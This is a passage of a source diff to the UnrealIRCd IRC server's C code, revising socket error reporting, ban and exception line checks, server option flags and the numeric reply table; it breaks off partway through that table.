@@ void report_error(text, cptr) if (err) errtmp = err; #endif - sendto_ops(text, host, strerror(errtmp)); + sendto_realops(text, host, strerror(errtmp)); + ircd_log(text,host,strerror(errtmp)); #ifdef USE_SYSLOG syslog(LOG_WARNING, text, host, strerror(errtmp)); #endif @@ -266,10 +266,9 @@ int inetport(cptr, name, port) if (cptr->fd < 0) { -// fprintf( #if !defined(DEBUGMODE) && !defined(_WIN32) #endif - report_error("opening stream socket %s:%s", cptr); + report_error("Cannot open stream socket() %s:%s", cptr); return -1; } else if (cptr->fd >= MAXCLIENTS) @@ -308,7 +307,10 @@ int inetport(cptr, name, port) if (bind(cptr->fd, (struct SOCKADDR *)&server, sizeof(server)) == -1) { - report_error("binding stream socket %s:%s", cptr); + ircsprintf(backupbuf, "Error binding stream socket to IP %s port %i", + ipname, port); + strcat(backupbuf, "- %s:%s"); + report_error(backupbuf, cptr); #ifndef _WIN32 (void)close(cptr->fd); #else @@ -421,8 +423,7 @@ int add_listener(aconf) * close_listeners * * Close and free all clients which are marked as having their socket open - * and in a state where they can accept connections. Unix sockets have - * the path to the socket unlinked for cleanliness. + * and in a state where they can accept connections. */ void close_listeners() { @@ -431,8 +432,7 @@ void close_listeners() aConfItem *aconf; /* - * close all 'extra' listening ports we have and unlink the file - * name if it was a unix socket. + * close all 'extra' listening ports we have */ for (i = highest_fd; i >= 0; i--) { @@ -490,24 +490,7 @@ void init_sys() fprintf(stderr, "| MAXCONNECTIONS set at %d\n", MAXCONNECTIONS); fprintf(stderr, "| Process ID: %d\n", pid); fprintf(stderr, "|---------------------------------------------\n"); */ -#ifndef USE_POLL -#ifdef sequent -# ifndef DYNIXPTX -int fd_limit; - -fd_limit = setdtablesize(MAXCONNECTIONS + 1); -if (fd_limit < MAXCONNECTIONS) -{ - (void)fprintf(stderr, "ircd fd table too big\n"); - (void)fprintf(stderr, "Hard Limit: %d IRC max: %d\n", - fd_limit, MAXCONNECTIONS); - (void)fprintf(stderr, "Fix MAXCONNECTIONS\n"); - exit(-1); -} -# endif -#endif -#endif -#if defined(PCS) || defined(DYNIXPTX) || defined(SVR3) +#if defined(PCS) || defined(SVR3) char logbuf[BUFSIZ]; (void)setvbuf(stderr, logbuf, _IOLBF, sizeof(logbuf)); @@ -535,8 +518,7 @@ if (bootopt & BOOT_TTY) /* debugging is going to a tty */ if (!(bootopt & BOOT_DEBUG)) (void)close(2); -if (((bootopt & BOOT_CONSOLE) || isatty(0)) && - !(bootopt & (BOOT_INETD | BOOT_OPER))) +if ((bootopt & BOOT_CONSOLE) || isatty(0)) { #ifndef _AMIGA /* if (fork()) @@ -551,7 +533,7 @@ if (((bootopt & BOOT_CONSOLE) || isatty(0)) && } #endif -#if defined(HPUX) || defined(_SOLARIS) || defined(DYNIXPTX) || \ +#if defined(HPUX) || defined(_SOLARIS) || \ defined(_POSIX_SOURCE) || defined(SVR4) || defined(SGI) (void)setsid(); #else @@ -679,8 +661,7 @@ int check_client(cptr) if (check_init(cptr, sockname)) return -2; - if (!IsUnixSocket(cptr)) - hp = cptr->hostp; + hp = cptr->hostp; /* * Verify that the host to ip mapping is correct both ways and that * the ip#(s) for the socket is listed for the host. @@ -782,7 +763,7 @@ int check_server_init(cptr) ** real name, then check with it as the host. Use gethostbyname() ** to check for servername as hostname. */ - if (!IsUnixSocket(cptr) && !cptr->hostp) + if (!cptr->hostp) { aConfItem *aconf; @@ -935,14 +916,13 @@ int check_server(cptr, hp, c_conf, n_conf, estab) (void)attach_conf(cptr, c_conf); (void)attach_confs(cptr, name, CONF_HUB | CONF_LEAF | CONF_UWORLD); #ifdef INET6 - if ((AND16(c_conf->ipnum.s6_addr) == 255) && !IsUnixSocket(cptr)) + if ((AND16(c_conf->ipnum.s6_addr) == 255)) #else - if ((c_conf->ipnum.S_ADDR == -1) && !IsUnixSocket(cptr)) + if (c_conf->ipnum.S_ADDR == -1) #endif bcopy((char *)&cptr->ip, (char *)&c_conf->ipnum, sizeof(struct IN_ADDR)); - if (!IsUnixSocket(cptr)) - get_sockhost(cptr, c_conf->host); + get_sockhost(cptr, c_conf->host); Debug((DEBUG_DNS, "sv_cl: access ok: %s[%s]", name, cptr->sockhost)); if (estab) @@ -1104,7 +1084,7 @@ void close_connection(cptr) cptr->fd = -2; DBufClear(&cptr->sendQ); DBufClear(&cptr->recvQ); - bzero(cptr->passwd, sizeof(cptr->passwd)); + /* * clean up extra sockets from P-lines which have been * discarded. @@ -1439,6 +1419,7 @@ aClient *add_connection(cptr, fd) set_sock_opts(acptr->fd, acptr); IRCstats.unknown++; start_auth(acptr); + #ifdef SOCKSPORT start_socks(acptr); @@ -1493,13 +1474,15 @@ static int read_packet(cptr, rfd) if (length <= 0) return length; } - /* ** For server connections, we process as many as we can without ** worrying about the time of day or anything :) */ - if (IsServer(cptr) || IsConnecting(cptr) || IsHandshake(cptr) || - IsService(cptr)) + if (IsServer(cptr) || IsConnecting(cptr) || IsHandshake(cptr) +#ifdef CRYPTOIRCD + || IsSecure(cptr) +#endif + ) { if (length > 0) if ((done = dopacket(cptr, readbuf, length))) @@ -1533,7 +1516,11 @@ static int read_packet(cptr, rfd) ** If it has become registered as a Service or Server ** then skip the per-message parsing below. */ - if (IsService(cptr) || IsServer(cptr)) + if (IsServer(cptr) +#ifdef CRYPTOIRCD + || IsSecure(cptr) +#endif + ) { dolen = dbuf_get(&cptr->recvQ, readbuf, sizeof(readbuf)); @@ -1585,7 +1572,11 @@ static int do_client_queue(aClient *cptr) ((cptr->status < STAT_UNKNOWN) || (cptr->since - now < 10))) { /* If it's become registered as a server, just parse the whole block */ - if (IsServer(cptr)) + if (IsServer(cptr) +#ifdef CRYPTOIRCD + || IsSecure(cptr) +#endif + ) { dolen = dbuf_get(&cptr->recvQ, readbuf, sizeof(readbuf)); @@ -2286,8 +2277,8 @@ int read_message(delay, listp) } else if (!IsMe(cptr)) { - if (DBufLength(&cptr->recvQ) && delay2 > 2) - delay2 = 1; +/* if (DBufLength(&cptr->recvQ) && delay2 > 2) + delay2 = 1; */ if (DBufLength(&cptr->recvQ) < 4088) PFD_SETR(i); } @@ -2569,7 +2560,6 @@ int connect_server(aconf, by, hp) } } cptr = make_client(NULL, NULL); - IRCstats.unknown++; cptr->hostp = hp; /* * Copy these in so we have something for error detection. @@ -2587,7 +2577,6 @@ int connect_server(aconf, by, hp) #else (void)closesocket(cptr->fd); #endif - IRCstats.unknown--; cptr->fd = -2; free_client(cptr); return -1; @@ -2607,7 +2596,6 @@ int connect_server(aconf, by, hp) { errtmp = WSAGetLastError(); /* other system calls may eat errno */ #endif - IRCstats.unknown--; report_error("Connect to host %s failed: %s", cptr); if (by && IsPerson(by) && !MyClient(by)) sendto_one(by, @@ -2659,7 +2647,6 @@ int connect_server(aconf, by, hp) #endif cptr->fd = -2; free_client(cptr); - IRCstats.unknown--; return (-1); } /* @@ -2687,7 +2674,7 @@ int connect_server(aconf, by, hp) local[cptr->fd] = cptr; cptr->acpt = &me; SetConnecting(cptr); - + IRCstats.unknown++; get_sockhost(cptr, aconf->host); add_client_to_list(cptr); nextping = TStime(); @@ -2905,7 +2892,8 @@ Chat on\n\r"); sendto_one(who, wrerr, who->name); return; } - (void)ircsprintf(line, "ircd: Channel %s, by %s@%s (%s) %s\n\r", +/* (void)ircsprintf(line, "ircd: Channel %s, by %s@%s (%s) %s\n\r", */ + (void)snprintf(line, sizeof(line), "ircd: Channel %s, by %s@%s (%s) %s\n\r", chname, who->user->username, who->user->host, who->name, who->info); if (write(fd, line, strlen(line)) != strlen(line)) { diff --git a/src/s_conf.c b/src/s_conf.c index df39f21eb..67f2dce22 100644 --- a/src/s_conf.c +++ b/src/s_conf.c @@ -1,4 +1,3 @@ - /* * Unreal Internet Relay Chat Daemon, src/s_conf.c * Copyright (C) 1990 Jarkko Oikarinen and @@ -50,7 +49,7 @@ Computing Center and Jarkko Oikarinen"; #ifdef __hpux #include "inet.h" #endif -#if defined(PCS) || defined(AIX) || defined(DYNIXPTX) || defined(SVR3) +#if defined(PCS) || defined(AIX) || defined(SVR3) #include #endif @@ -58,7 +57,6 @@ ID_CVS("$Id$"); ID_Notes("O:line flags in here"); #include "h.h" #define IN6ADDRSZ (sizeof(struct IN_ADDR)) -static int check_time_interval PROTO((char *, char *)); static int lookup_confhost PROTO((aConfItem *)); static int is_comment PROTO((char *)); static int advanced_check(char *, int); @@ -370,24 +368,24 @@ aConfItem *find_tline(char *host) int find_nline(aClient *cptr) { - aConfItem *aconf; - for (aconf = conf; aconf; aconf = aconf->next) - if ((aconf->status == CONF_EXCEPT) && - aconf->host && aconf->name - && (match(aconf->host, cptr->sockhost) == 0) - && (!cptr->user->username - || match(aconf->name, cptr->user->username) == 0)) - break; + aConfItem *aconf, *aconf2; - if (aconf) - return 0; + /* Only check for an E:line if an n:line was found */ - for (aconf = conf; aconf; aconf = aconf->next) + for (aconf = conf; aconf; aconf = aconf->next) { if (aconf->status & CONF_NLINE - && (match(aconf->host, cptr->info) == 0)) + && (match(aconf->host, cptr->info) == 0)) { + for (aconf2 = conf; aconf2; aconf2 = aconf2->next) + if ((aconf2->status == CONF_EXCEPT) && + aconf2->host && aconf2->name + && (match(aconf2->host, cptr->sockhost) == 0) + && (!cptr->user->username + || match(aconf2->name, cptr->user->username) == 0)) + return 0; break; } + } if (aconf) { if (BadPtr(aconf->passwd)) @@ -660,6 +658,21 @@ aConfItem *find_conf_host(lp, host, statmask) return NULL; } +/* Written by Raistlin for bahamut */ + +aConfItem *find_uline(Link *lp, char *host) { + aConfItem *tmp; + int hostlen = host ? strlen(host) : 0; + + if (hostlen > HOSTLEN || BadPtr(host)) + return ((aConfItem *) NULL); + for (; lp; lp = lp->next) { + tmp = lp->value.aconf; + if (tmp->status & CONF_UWORLD && (tmp->host && !mycmp(tmp->host, host))) + return tmp; + } + return ((aConfItem *) NULL); +} /* find_exception ** find a virtual exception */ @@ -1228,6 +1241,10 @@ int initconf(opt) case 'u': /* *Every* server on the net must define the same !!! */ aconf->status = CONF_UWORLD; break; + case 'V': + case 'v': + aconf->status = CONF_VERSION; + break; case 'Y': case 'y': aconf->status = CONF_CLASS; @@ -1574,7 +1591,7 @@ int find_kill(cptr) aClient *cptr; { char reply[256], *host, *name; - aConfItem *tmp; + aConfItem *tmp, *tmp2; if (!cptr->user) return 0; @@ -1588,35 +1605,25 @@ int find_kill(cptr) reply[0] = '\0'; - for (tmp = conf; tmp; tmp = tmp->next) - if ((tmp->status == CONF_EXCEPT) && tmp->host && tmp->name && - (match(tmp->host, host) == 0) && - (!name || match(tmp->name, name) == 0) && - (!tmp->port || (tmp->port == cptr->acpt->port))) - break; - - if (tmp) - { - /* This is an E:Line */ - return 0; - } + /* Only search for E:lines if a K:line was found -- codemastr */ for (tmp = conf; tmp; tmp = tmp->next) if ((tmp->status == CONF_KILL) && tmp->host && tmp->name && (match(tmp->host, host) == 0) && (!name || match(tmp->name, name) == 0) && - (!tmp->port || (tmp->port == cptr->acpt->port))) - /* can short-circuit evaluation - not taking chances - cos check_time_interval destroys tmp->passwd - - Mmmm - */ + (!tmp->port || (tmp->port == cptr->acpt->port))) { + for (tmp2 = conf; tmp2; tmp2 = tmp2->next) + if ((tmp2->status == CONF_EXCEPT) && tmp2->host && tmp2->name && + (match(tmp2->host, host) == 0) && + (!name || match(tmp2->name, name) == 0) && + (!tmp2->port || (tmp2->port == cptr->acpt->port))) + return 0; + if (BadPtr(tmp->passwd)) break; else if (is_comment(tmp->passwd)) break; - else if (check_time_interval(tmp->passwd, reply)) - break; - + } if (reply[0]) sendto_one(cptr, reply, @@ -1779,67 +1786,6 @@ static int is_comment(comment) } -/* -** check against a set of time intervals -*/ - -static int check_time_interval(interval, reply) - char *interval, *reply; -{ - struct tm *tptr; - time_t tick; - char *p; - int perm_min_hours, perm_min_minutes, perm_max_hours, perm_max_minutes; - int now, perm_min, perm_max; - - tick = TStime(); - tptr = localtime(&tick); - now = tptr->tm_hour * 60 + tptr->tm_min; - - while (interval) - { - p = (char *)index(interval, ','); - if (p) - *p = '\0'; - if (sscanf(interval, "%2d%2d-%2d%2d", - &perm_min_hours, &perm_min_minutes, - &perm_max_hours, &perm_max_minutes) != 4) - { - if (p) - *p = ','; - return (0); - } - if (p) - *(p++) = ','; - perm_min = 60 * perm_min_hours + perm_min_minutes; - perm_max = 60 * perm_max_hours + perm_max_minutes; - /* - ** The following check allows intervals over midnight ... - */ - if ((perm_min < perm_max) - ? (perm_min <= now && now <= perm_max) - : (perm_min <= now || now <= perm_max)) - { - (void)ircsprintf(reply, - ":%%s %%d %%s :%s %d:%02d to %d:%02d.", - "You are not allowed to connect from", - perm_min_hours, perm_min_minutes, - perm_max_hours, perm_max_minutes); - return (ERR_YOUREBANNEDCREEP); - } - if ((perm_min < perm_max) - ? (perm_min <= now + 5 && now + 5 <= perm_max) - : (perm_min <= now + 5 || now + 5 <= perm_max)) - { - (void)ircsprintf(reply, ":%%s %%d %%s :%d minute%s%s", - perm_min - now, (perm_min - now) > 1 ? "s " : " ", - "and you will be denied for further access"); - return (ERR_YOUWILLBEBANNED); - } - interval = p; - } - return (0); -} /* ** m_rakill; @@ -2063,7 +2009,7 @@ int m_sqline(cptr, sptr, parc, parv) "%s :%s", parv[1], parv[2]); else sendto_serv_butone_token(cptr, parv[0], MSG_SQLINE, TOK_SQLINE, - parv[1]); + "%s", parv[1]); asqline = make_sqline(); @@ -2098,7 +2044,7 @@ int m_unsqline(cptr, sptr, parc, parv) return 0; sendto_serv_butone_token(cptr, parv[0], MSG_UNSQLINE, TOK_UNSQLINE, - parv[1]); + "%s", parv[1]); if (!(asqline = find_sqline_nick(parv[1]))) return; @@ -2694,7 +2640,7 @@ int m_unzline(cptr, sptr, parc, parv) * UNSURE == [unused] something went wrong */ -advanced_check(char *userhost, int ipstat) +int advanced_check(char *userhost, int ipstat) { register int retval = TRUE; char *up, *p, *thisseg; @@ -2747,7 +2693,8 @@ advanced_check(char *userhost, int ipstat) if (!IP_WILDS_OK(i) && index(ipseg[i], '*') || index(ipseg[i], '?')) retval = FALSE; - MyFree(ipseg[i]); + /* The person who wrote this function was braindead --Stskeeps */ + /* MyFree(ipseg[i]); */ } else { @@ -2765,7 +2712,7 @@ advanced_check(char *userhost, int ipstat) { retval = FALSE; } - MyFree(ipseg[i]); + /* MyFree(ipseg[i]); */ } diff --git a/src/s_debug.c b/src/s_debug.c index a7dc81333..c440637d3 100644 --- a/src/s_debug.c +++ b/src/s_debug.c @@ -31,9 +31,6 @@ Computing Center and Jarkko Oikarinen"; * Option string. Must be before #ifdef DEBUGMODE. */ char serveropts[] = { -#ifdef SENDQ_ALWAYS - 'A', -#endif #ifdef CHROOTDIR 'c', #endif @@ -61,9 +58,6 @@ char serveropts[] = { #ifdef LEAST_IDLE 'L', #endif -#ifdef IDLE_FROM_MSG - 'M', -#endif #ifdef CRYPT_OPER_PASSWORD 'p', #endif @@ -105,6 +99,12 @@ char serveropts[] = { #endif #ifdef STRIPBADWORDS 'X', +#endif +#ifdef USE_POLL + 'P', +#endif +#ifdef CRYPTOIRCD + 'r', #endif '\0' }; @@ -120,7 +120,7 @@ char serveropts[] = { #ifdef HPUX #include #endif -#if !defined(ULTRIX) && !defined(SGI) && !defined(sequent) && \ +#if !defined(ULTRIX) && !defined(SGI) && \ !defined(__convex__) && !defined(_WIN32) # include #endif @@ -146,10 +146,6 @@ char serveropts[] = { #endif #ifdef HPUX #include -#ifdef DYNIXPTX -#include -#include -#endif #endif #include "h.h" @@ -468,7 +464,7 @@ void count_memory(cptr, nick) sendto_one(cptr, ":%s %d %s :Channels %d(%d) Bans %d(%d)", me.name, RPL_STATSDEBUG, nick, ch, chm, chb, chbm); - sendto_one(cptr, ":%s %d %s :Channel membrs %d(%d) invite %d(%d)", + sendto_one(cptr, ":%s %d %s :Channel members %d(%d) invite %d(%d)", me.name, RPL_STATSDEBUG, nick, chu, chu * sizeof(Link), chi, chi * sizeof(Link)); diff --git a/src/s_err.c b/src/s_err.c index acbc62281..742ef87ed 100644 --- a/src/s_err.c +++ b/src/s_err.c @@ -28,462 +28,1044 @@ static char sccsid[] = "@(#)s_err.c 1.12 11/1/93 (C) 1992 Darren Reed"; ID_CVS("$Id$"); -typedef struct { - int num_val; - char *num_form; -} Numeric; +/* Redone to be similar to bahamut's s_err.c -- codemastr */ -static char *prepbuf PROTO((char *, int, char *)); -static char numbuff[514]; -static char numbers[] = "0123456789"; - -static Numeric local_replies[] = { -/* 000 */ 0, (char *)NULL, -/* 001 */ RPL_WELCOME, ":Welcome to the %s IRC Network %s!%s@%s", -/* 002 */ RPL_YOURHOST, ":Your host is %s, running version %s", -/* 003 */ RPL_CREATED, ":This server was created %s", -/* 004 */ RPL_MYINFO, "%s %s %s %s", -/* 005 */ RPL_PROTOCTL, "%s :are available on this server", -/* 006 */ RPL_MAP, ":%s%-*s\2[Users:%5d] [%2d%%]\2", -/* 007 */ RPL_MAPEND, ":End of /MAP", - 0, (char *)NULL -}; - -static Numeric numeric_errors[] = { -/* 401 */ ERR_NOSUCHNICK, "%s :No such nick/channel", -/* 402 */ ERR_NOSUCHSERVER, "%s :No such server", -/* 403 */ ERR_NOSUCHCHANNEL, "%s :No such channel", -/* 404 */ ERR_CANNOTSENDTOCHAN, "%s :%s (%s)", -/* 405 */ ERR_TOOMANYCHANNELS, "%s :You have joined too many channels", -/* 406 */ ERR_WASNOSUCHNICK, "%s :There was no such nickname", -/* 407 */ ERR_TOOMANYTARGETS, - "%s :Duplicate recipients. No message delivered", -/* 408 */ ERR_NOSUCHSERVICE, (char *)NULL, -/* 409 */ ERR_NOORIGIN, ":No origin specified", - 0, (char *)NULL, -/* 411 */ ERR_NORECIPIENT, ":No recipient given (%s)", -/* 412 */ ERR_NOTEXTTOSEND, ":No text to send", -/* 413 */ ERR_NOTOPLEVEL, "%s :No toplevel domain specified", -/* 414 */ ERR_WILDTOPLEVEL, "%s :Wildcard in toplevel Domain", - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, -/* 421 */ ERR_UNKNOWNCOMMAND, "%s :Unknown command", -/* 422 */ ERR_NOMOTD, ":MOTD File is missing", -/* 423 */ ERR_NOADMININFO, - "%s :No administrative info available", -/* 424 */ ERR_FILEERROR, ":File error doing %s on %s", -/* 425*/ ERR_NOOPERMOTD, ":OPERMOTD File is missing", - 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, -/* 431 */ ERR_NONICKNAMEGIVEN, ":No nickname given", -/* 432 */ ERR_ERRONEUSNICKNAME, "%s :Erroneous Nickname: %s", -/* 433 */ ERR_NICKNAMEINUSE, "%s :Nickname is already in use.", -/* 434 */ ERR_NORULES, ":RULES File is missing", -/* 435 */ ERR_SERVICECONFUSED, (char *)NULL, -/* 436 */ ERR_NICKCOLLISION, "%s :Nickname collision KILL", -/* 437 */ ERR_BANNICKCHANGE, - "%s :Cannot change nickname while banned on channel", -/* 438 */ ERR_NCHANGETOOFAST, - "%s :Nick change too fast. Please wait %d seconds", -/* 439 */ ERR_TARGETTOOFAST, - "%s :Message target change too fast. Please wait %d seconds", -/* 440 */ ERR_SERVICESDOWN, - "%s :Services are currently down. Please try again later.", -/* 441 */ ERR_USERNOTINCHANNEL, "%s %s :They aren't on that channel", -/* 442 */ ERR_NOTONCHANNEL, "%s :You're not on that channel", -/* 443 */ ERR_USERONCHANNEL, "%s %s :is already on channel", -/* 444 */ ERR_NOLOGIN, "%s :User not logged in", -#ifndef ENABLE_SUMMON -/* 445 */ ERR_SUMMONDISABLED, ":SUMMON has been disabled", +static char *replies[] = { +/* 000 */ NULL, +/* 001 RPL_WELCOME */ ":%s 001 %s :Welcome to the %s IRC Network %s!%s@%s", +/* 002 RPL_YOURHOST */ ":%s 002 %s :Your host is %s, running version %s", +/* 003 RPL_CREATED */ ":%s 003 %s :This server was created %s", +/* 004 RPL_MYINFO */ ":%s 004 %s %s %s %s %s", +/* 005 RPL_PROTOCTL */ ":%s 005 %s %s :are available on this server", +/* 006 RPL_MAP */ ":%s 006 %s :%s%-*s\2[Users:%5d] [%2d%%]\2", +/* 007 RPL_MAPEND */ ":%s 007 %s :End of /MAP", +/* 008 */ NULL, +/* 009 */ NULL, +/* 010 */ NULL, +/* 011 */ NULL, +/* 012 */ NULL, +/* 013 */ NULL, +/* 014 */ NULL, +/* 015 */ NULL, +/* 016 */ NULL, +/* 017 */ NULL, +/* 018 */ NULL, +/* 019 */ NULL, +/* 020 */ NULL, +/* 021 */ NULL, +/* 022 */ NULL, +/* 023 */ NULL, +/* 024 */ NULL, +/* 025 */ NULL, +/* 026 */ NULL, +/* 027 */ NULL, +/* 028 */ NULL, +/* 029 */ NULL, +/* 030 */ NULL, +/* 031 */ NULL, +/* 032 */ NULL, +/* 033 */ NULL, +/* 034 */ NULL, +/* 035 */ NULL, +/* 036 */ NULL, +/* 037 */ NULL, +/* 038 */ NULL, +/* 039 */ NULL, +/* 040 */ NULL, +/* 041 */ NULL, +/* 042 */ NULL, +/* 043 */ NULL, +/* 044 */ NULL, +/* 045 */ NULL, +/* 046 */ NULL, +/* 047 */ NULL, +/* 048 */ NULL, +/* 049 */ NULL, +/* 050 */ NULL, +/* 051 */ NULL, +/* 052 */ NULL, +/* 053 */ NULL, +/* 054 */ NULL, +/* 055 */ NULL, +/* 056 */ NULL, +/* 057 */ NULL, +/* 058 */ NULL, +/* 059 */ NULL, +/* 060 */ NULL, +/* 061 */ NULL, +/* 062 */ NULL, +/* 063 */ NULL, +/* 064 */ NULL, +/* 065 */ NULL, +/* 066 */ NULL, +/* 067 */ NULL, +/* 068 */ NULL, +/* 069 */ NULL, +/* 070 */ NULL, +/* 071 */ NULL, +/* 072 */ NULL, +/* 073 */ NULL, +/* 074 */ NULL, +/* 075 */ NULL, +/* 076 */ NULL, +/* 077 */ NULL, +/* 078 */ NULL, +/* 079 */ NULL, +/* 080 */ NULL, +/* 081 */ NULL, +/* 082 */ NULL, +/* 083 */ NULL, +/* 084 */ NULL, +/* 085 */ NULL, +/* 086 */ NULL, +/* 087 */ NULL, +/* 088 */ NULL, +/* 089 */ NULL, +/* 090 */ NULL, +/* 091 */ NULL, +/* 092 */ NULL, +/* 093 */ NULL, +/* 094 */ NULL, +/* 095 */ NULL, +/* 096 */ NULL, +/* 097 */ NULL, +/* 098 */ NULL, +/* 099 */ NULL, +/* 100 */ NULL, +/* 101 */ NULL, +/* 102 */ NULL, +/* 103 */ NULL, +/* 104 */ NULL, +/* 105 */ NULL, +/* 106 */ NULL, +/* 107 */ NULL, +/* 108 */ NULL, +/* 109 */ NULL, +/* 110 */ NULL, +/* 111 */ NULL, +/* 112 */ NULL, +/* 113 */ NULL, +/* 114 */ NULL, +/* 115 */ NULL, +/* 116 */ NULL, +/* 117 */ NULL, +/* 118 */ NULL, +/* 119 */ NULL, +/* 120 */ NULL, +/* 121 */ NULL, +/* 122 */ NULL, +/* 123 */ NULL, +/* 124 */ NULL, +/* 125 */ NULL, +/* 126 */ NULL, +/* 127 */ NULL, +/* 128 */ NULL, +/* 129 */ NULL, +/* 130 */ NULL, +/* 131 */ NULL, +/* 132 */ NULL, +/* 133 */ NULL, +/* 134 */ NULL, +/* 135 */ NULL, +/* 136 */ NULL, +/* 137 */ NULL, +/* 138 */ NULL, +/* 139 */ NULL, +/* 140 */ NULL, +/* 141 */ NULL, +/* 142 */ NULL, +/* 143 */ NULL, +/* 144 */ NULL, +/* 145 */ NULL, +/* 146 */ NULL, +/* 147 */ NULL, +/* 148 */ NULL, +/* 149 */ NULL, +/* 150 */ NULL, +/* 151 */ NULL, +/* 152 */ NULL, +/* 153 */ NULL, +/* 154 */ NULL, +/* 155 */ NULL, +/* 156 */ NULL, +/* 157 */ NULL, +/* 158 */ NULL, +/* 159 */ NULL, +/* 160 */ NULL, +/* 161 */ NULL, +/* 162 */ NULL, +/* 163 */ NULL, +/* 164 */ NULL, +/* 165 */ NULL, +/* 166 */ NULL, +/* 167 */ NULL, +/* 168 */ NULL, +/* 169 */ NULL, +/* 170 */ NULL, +/* 171 */ NULL, +/* 172 */ NULL, +/* 173 */ NULL, +/* 174 */ NULL, +/* 175 */ NULL, +/* 176 */ NULL, +/* 177 */ NULL, +/* 178 */ NULL, +/* 179 */ NULL, +/* 180 */ NULL, +/* 181 */ NULL, +/* 182 */ NULL, +/* 183 */ NULL, +/* 184 */ NULL, +/* 185 */ NULL, +/* 186 */ NULL, +/* 187 */ NULL, +/* 188 */ NULL, +/* 189 */ NULL, +/* 190 */ NULL, +/* 191 */ NULL, +/* 192 */ NULL, +/* 193 */ NULL, +/* 194 */ NULL, +/* 195 */ NULL, +/* 196 */ NULL, +/* 197 */ NULL, +/* 198 */ NULL, +/* 199 */ NULL, +/* 200 RPL_TRACELINK */ ":%s 200 %s Link %s%s %s %s", +/* 201 RPL_TRACECONNECTING */ ":%s 201 %s Attempt %d %s", +/* 202 RPL_TRACEHANDSHAKE */ ":%s 202 %s Handshaking %d %s", +/* 203 RPL_TRACEUNKNOWN */ ":%s 203 %s ???? %d %s", +/* 204 RPL_TRACEOPERATOR */ ":%s 204 %s Operator %d %s [%s] %ld", +/* 205 RPL_TRACEUSER */ ":%s 205 %s User %d %s [%s] %ld", +/* 206 RPL_TRACESERVER */ ":%s 206 %s Server %d %dS %dC %s %s!%s@%s %ld", +/* 207 RPL_TRACESERVICE */ ":%s 207 %s Service %d %s", +/* 208 RPL_TRACENEWTYPE */ ":%s 208 %s 0 %s", +/* 209 RPL_TRACECLASS */ ":%s 209 %s Class %d %d", +/* 210 */ NULL, +/* 211 */ NULL, /* Used */ +#ifdef DEBUGMODE +/* 212 RPL_STATSCOMMANDS */ ":%s 212 %s %s %u %u %u %u %u %u", #else - 0, (char *)NULL, +/* 212 RPL_STATSCOMMANDS */ ":%s 212 %s %s %u %u", +#endif +/* 213 RPL_STATSCLINE */ ":%s 213 %s %c %s * %s %d %d", +/* 214 RPL_STATSOLDNLINE */ ":%s 214 %s %c %s * %s %d %d", +/* 215 RPL_STATSILINE */ ":%s 215 %s %c %s * %s %d %d", +/* 216 RPL_STATSKLINE */ ":%s 216 %s %c %s %s %s %d %d", +/* 217 RPL_STATSQLINE */ ":%s 217 %s %c %s %s %s %d %d", +/* 218 RPL_STATSYLINE */ ":%s 218 %s %c %d %d %d %d %ld", +/* 219 RPL_ENDOFSTATS */ ":%s 219 %s %c :End of /STATS report", +/* 220 RPL_STATSBLINE */ ":%s 220 %s %c %s %s %s %d %d", +/* 221 RPL_UMODEIS */ ":%s 221 %s %s", +/* 222 RPL_SQLINE_NICK */ ":%s 222 %s %s :%s", +/* 223 RPL_STATSGLINE */ ":%s 223 %s %c %s@%s %li %li %s :%s", +/* 224 RPL_STATSTLINE */ ":%s 224 %s T %s %s %s", +/* 225 RPL_STATSELINE */ ":%s 225 %s e %s %s %s", +/* 226 RPL_STATSNLINE */ ":%s 226 %s n %s %s", +/* 227 RPL_STATSVLINE */ ":%s 227 %s V %s %s %s", +/* 228 */ NULL, +/* 229 */ NULL, +/* 230 */ NULL, +/* 231 */ NULL, +/* 232 RPL_RULES */ ":%s 232 %s :- %s", +/* 233 */ NULL, /* Used */ +/* 234 */ NULL, /* Used */ +/* 235 */ NULL, /* Used */ +/* 236 */ NULL, +/* 237 */ NULL, +/* 238 */ NULL, +/* 239 */ NULL, +/* 240 */ NULL, +/* 241 RPL_STATSLLINE */ ":%s 241 %s %c %s * %s %d %d", +/* 242 RPL_STATSUPTIME */ ":%s 242 %s :Server Up %d days, %d:%02d:%02d", +/* 243 RPL_STATSOLINE */ ":%s 243 %s %c %s * %s %s %d", +/* 244 RPL_STATSHLINE */ ":%s 244 %s %c %s * %s %d %d", +/* 245 RPL_STATSSLINE */ ":%s 245 %s %c %s * %s %d %d", +/* 246 */ NULL, +/* 247 RPL_STATSXLINE */ ":%s 247 %s X %s %d", +/* 248 RPL_STATSULINE */ ":%s 248 %s %c %s * %s %d %d", +/* 249 */ NULL, +/* 250 RPL_STATSCONN */ ":%s 250 %s :Highest connection count: %d (%d clients)", +/* 251 RPL_LUSERCLIENT */ ":%s 251 %s :There are %d users and %d invisible on %d servers", +/* 252 RPL_LUSEROP */ ":%s 252 %s %d :operator(s) online", +/* 253 RPL_LUSERUNKNOWN */ ":%s 253 %s %d :unknown connection(s)", +/* 254 RPL_LUSERCHANNELS */ ":%s 254 %s %d :channels formed", +/* 255 RPL_LUSERME */ ":%s 255 %s :I have %d clients and %d servers", +/* 256 RPL_ADMINME */ ":%s 256 %s :Administrative info about %s", +/* 257 RPL_ADMINLOC1 */ ":%s 257 %s :%s", +/* 258 RPL_ADMINLOC2 */ ":%s 258 %s :%s", +/* 259 RPL_ADMINEMAIL */ ":%s 259 %s :%s", +/* 260 */ NULL, +/* 261 RPL_TRACELOG */ ":%s 261 %s File %s %d", +/* 262 */ NULL, +/* 263 */ NULL, +/* 264 */ NULL, +/* 265 RPL_LOCALUSERS */ ":%s 265 %s :Current Local Users: %d Max: %d", +/* 266 RPL_GLOBALUSERS */ ":%s 266 %s :Current Global Users: %d Max: %d", +/* 267 */ NULL, +/* 268 */ NULL, +/* 269 */ NULL, +/* 270 */ NULL, +/* 271 RPL_SILELIST */ ":%s 271 %s %s %s", +/* 272 RPL_ENDOFSILELIST */ ":%s 272 %s :End of Silence List", +/* 273 */ NULL, +/* 274 */ NULL, +/* 275 RPL_STATSDLINE */ ":%s 275 %s %c %s %s", +/* 276 */ NULL, +/* 277 */ NULL, +/* 278 */ NULL, +/* 279 */ NULL, +/* 280 */ NULL, +/* 281 */ NULL, +/* 282 */ NULL, +/* 283 */ NULL, +/* 